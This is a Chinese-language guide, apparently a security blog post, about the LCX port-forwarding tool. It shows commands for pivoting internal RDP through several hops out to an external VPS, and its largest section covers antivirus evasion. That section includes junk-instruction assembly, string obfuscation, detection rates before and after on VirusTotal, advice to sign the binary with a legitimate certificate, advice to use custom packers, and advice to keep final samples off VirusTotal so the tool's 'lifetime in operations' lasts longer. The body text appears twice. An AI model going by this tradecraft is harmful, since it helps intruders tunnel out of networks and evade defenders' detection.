内网工具 LCX 之旧瓶装新酒
字数 1330 2025-08-09 15:23:10

LCX内网端口转发工具深度解析与免杀技术指南

一、LCX工具概述

LCX是一款经典的内网端口转发工具,自2007年面世以来持续活跃在各类攻防演练中,证明了其实用性和易用性。

二、核心功能与使用命令

1. 基本命令结构

  • -listen <ConnectPort1> <TransmitPort2>
    监听端口1,接收由端口2转发过来的数据

  • -tran <ConnectPort> <TransmitHost> <TransmitPort>
    端口转向功能,通过访问该端口可直接与目标主机端口通信

  • -slave <TransmitHostB> <PortB> <TransmitHostA> <PortA>
    端口转发功能,将主机A的端口A转发到主机B的端口B

2. 典型使用场景

场景1:内网机器端口转发到外网VPS

# 内网机器执行
lcx.exe -slave 外网VPS_IP 55 内网设备_IP 3389

# 外网VPS执行
lcx.exe -listen 55 3389

场景2:多级跳转转发

机器1(不可出外网)-172.16.1.10:
lcx.exe -slave 172.16.1.20 55 172.16.1.10 3389

机器2(不可出外网)-172.16.1.20:
lcx.exe -tran 55 172.16.1.30 66

机器3(可出外网)-172.16.1.30:
lcx.exe -tran 66 17.18.19.20 77

机器4(外网VPS)-17.18.19.20:
lcx.exe -listen 77 3389

三、源码分析与关键函数

核心功能函数

  1. bind2bind
    -listen命令专用,绑定本机两个端口

  2. bind2conn
    -tran命令专用,绑定本机端口与远程主机端口

  3. client_connect
    主动建立socket连接

  4. conn2conn
    -slave命令专用,绑定两台主机的指定端口

  5. create_server
    建立监听服务

  6. tranmitdata
    多socket数据交互核心函数

四、免杀技术详解

1. 基础免杀方案

重新编译:使用最新VS环境重新编译源码,改变编译环境特征

2. 花指令技术

在main函数入口处添加无效指令,破坏反汇编过程:

__asm {
    nop
    nop
    push eax
    pop eax
    jz label
    jnz label
label:
}

效果对比:

  • 原始查杀率:24/49 (Virscan), 17/56 (VT)
  • 增加花指令后:5/50 (Virscan), 6/68 (VT)

3. 字符串特征处理

删除无用字符串

  • 移除所有调试和状态打印信息
  • 效果:1/50 (Virscan), 2/69 (VT)

字符串变形技术
将明文字符串改为运行时拼接:

// 修改前
printf("Usage: lcx [-options] [parameter]\n");

// 修改后
char usage[] = {'U','s','a','g','e',':',' ',0};
printf("%slcx [-options] [parameter]\n", usage);

效果:0/50 (Virscan), 1/69 (VT)

4. 数字签名技术

添加合法数字签名可显著降低查杀率:

  • 使用有效证书签名工具
  • 效果:0/50 (Virscan), 0/68 (VT)

5. 加壳注意事项

不推荐方案

  • 使用UPX等常见壳会提高检测率
  • 示例:简单HelloWorld程序加UPX壳后即被多款AV检测

推荐方案

  • 使用冷门壳或自定义壳
  • 自行修改现有壳的特征

五、免杀时效管理

  1. 避免样本暴露

    • 不在VT等在线平台测试最终版本
    • 使用离线AV引擎测试
  2. 特征轮换

    • 定期更新花指令模式
    • 动态调整字符串处理方式
  3. 编译环境变化

    • 交替使用不同版本编译器
    • 修改编译参数和优化选项

六、技术总结

  1. 免杀效果阶梯

    • 基础编译:中等效果
    • 花指令+字符串处理:显著提升
    • 数字签名:接近完全免杀
  2. 关键要点

    • 避免使用现成加壳工具
    • 保持字符串不可读性
    • 利用合法签名降低可疑度
  3. 持续对抗

    • 免杀是动态过程
    • 需持续更新技术手段
    • 结合实际场景调整方案

本指南详细介绍了LCX工具的核心功能和免杀技术路径,通过分阶段实施这些技术,可有效延长工具在实战中的使用寿命。记住,免杀的本质是特征管理,需要根据实际检测环境不断调整策略。

LCX内网端口转发工具深度解析与免杀技术指南 一、LCX工具概述 LCX是一款经典的内网端口转发工具,自2007年面世以来持续活跃在各类攻防演练中,证明了其实用性和易用性。 二、核心功能与使用命令 1. 基本命令结构 -listen <ConnectPort1> <TransmitPort2> 监听端口1,接收由端口2转发过来的数据 -tran <ConnectPort> <TransmitHost> <TransmitPort> 端口转向功能,通过访问该端口可直接与目标主机端口通信 -slave <TransmitHostB> <PortB> <TransmitHostA> <PortA> 端口转发功能,将主机A的端口A转发到主机B的端口B 2. 典型使用场景 场景1:内网机器端口转发到外网VPS 场景2:多级跳转转发 三、源码分析与关键函数 核心功能函数 bind2bind -listen命令专用,绑定本机两个端口 bind2conn -tran命令专用,绑定本机端口与远程主机端口 client_connect 主动建立socket连接 conn2conn -slave命令专用,绑定两台主机的指定端口 create_server 建立监听服务 tranmitdata 多socket数据交互核心函数 四、免杀技术详解 1. 基础免杀方案 重新编译 :使用最新VS环境重新编译源码,改变编译环境特征 2. 花指令技术 在main函数入口处添加无效指令,破坏反汇编过程: 效果对比: 原始查杀率:24/49 (Virscan), 17/56 (VT) 增加花指令后:5/50 (Virscan), 6/68 (VT) 3. 字符串特征处理 删除无用字符串 : 移除所有调试和状态打印信息 效果:1/50 (Virscan), 2/69 (VT) 字符串变形技术 : 将明文字符串改为运行时拼接: 效果:0/50 (Virscan), 1/69 (VT) 4. 数字签名技术 添加合法数字签名可显著降低查杀率: 使用有效证书签名工具 效果:0/50 (Virscan), 0/68 (VT) 5. 加壳注意事项 不推荐方案 : 使用UPX等常见壳会提高检测率 示例:简单HelloWorld程序加UPX壳后即被多款AV检测 推荐方案 : 使用冷门壳或自定义壳 自行修改现有壳的特征 五、免杀时效管理 避免样本暴露 : 不在VT等在线平台测试最终版本 使用离线AV引擎测试 特征轮换 : 定期更新花指令模式 动态调整字符串处理方式 编译环境变化 : 交替使用不同版本编译器 修改编译参数和优化选项 六、技术总结 免杀效果阶梯 : 基础编译:中等效果 花指令+字符串处理:显著提升 数字签名:接近完全免杀 关键要点 : 避免使用现成加壳工具 保持字符串不可读性 利用合法签名降低可疑度 持续对抗 : 免杀是动态过程 需持续更新技术手段 结合实际场景调整方案 本指南详细介绍了LCX工具的核心功能和免杀技术路径,通过分阶段实施这些技术,可有效延长工具在实战中的使用寿命。记住,免杀的本质是特征管理,需要根据实际检测环境不断调整策略。